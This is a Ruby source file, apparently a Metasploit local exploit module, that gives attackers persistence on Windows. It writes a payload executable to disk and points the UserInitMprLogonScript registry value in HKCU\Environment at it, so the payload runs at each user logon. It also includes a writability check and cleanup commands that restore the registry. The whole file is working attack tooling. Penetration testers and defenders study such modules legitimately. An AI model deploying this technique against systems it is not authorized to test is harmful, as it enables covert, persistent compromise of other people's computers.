Nayeraneru
95 lines
3.5 KiB
Ruby
95 lines
3.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Windows::Registry
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Local::Persistence
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Persistence via UserInitMprLogonScript',
|
|
'Description' => %q{
|
|
This module establishes persistence by setting the UserInitMprLogonScript
|
|
value in HKCU\Environment. During user logon, userinit.exe checks this value
|
|
and executes the specified command or binary.
|
|
|
|
The module writes a payload executable to disk and points
|
|
UserInitMprLogonScript to that payload.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Nayera'],
|
|
'Platform' => [ 'win' ],
|
|
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
|
|
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
|
'Targets' => [
|
|
[ 'Automatic', {} ]
|
|
],
|
|
'References' => [
|
|
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
|
|
['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
|
|
['URL', 'https://hadess.io/the-art-of-windows-persistence/']
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2015-07-01',
|
|
'Notes' => {
|
|
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.'])
|
|
])
|
|
end
|
|
|
|
def regkey
|
|
'HKCU\\Environment'
|
|
end
|
|
|
|
def check
|
|
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%')
|
|
|
|
return CheckCode::Safe("#{writable_dir} does not exist") unless exists?(writable_dir)
|
|
|
|
test_name = Rex::Text.rand_text_alpha(8)
|
|
test_value = Rex::Text.rand_text_alpha(8)
|
|
return CheckCode::Safe("Unable to write to registry path #{regkey}") unless registry_setvaldata(regkey, test_name, test_value, 'REG_SZ')
|
|
|
|
registry_deleteval(regkey, test_name)
|
|
|
|
CheckCode::Vulnerable('Registry path is writable')
|
|
end
|
|
|
|
def install_persistence
|
|
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
|
|
payload_exe = generate_payload_exe
|
|
payload_pathname = "#{writable_dir}\\#{payload_name}.exe"
|
|
|
|
vprint_good("Writing payload to #{payload_pathname}")
|
|
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
|
|
|
|
old_value = registry_getvaldata(regkey, 'UserInitMprLogonScript')
|
|
registry_setvaldata(regkey, 'UserInitMprLogonScript', payload_pathname, 'REG_SZ')
|
|
print_good("Configured #{regkey}\\UserInitMprLogonScript to execute #{payload_pathname}")
|
|
|
|
if old_value.nil?
|
|
@clean_up_rc = "reg deleteval -k '#{regkey}' -v 'UserInitMprLogonScript'\n"
|
|
else
|
|
escaped_old_value = old_value.gsub('\\', '\\\\')
|
|
@clean_up_rc = %(execute -f cmd.exe -a "/c reg add \\\"#{regkey}\\\" /v UserInitMprLogonScript /t REG_SZ /d \\\"#{escaped_old_value}\\\" /f" -H\n)
|
|
end
|
|
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
|
|
end
|
|
end
|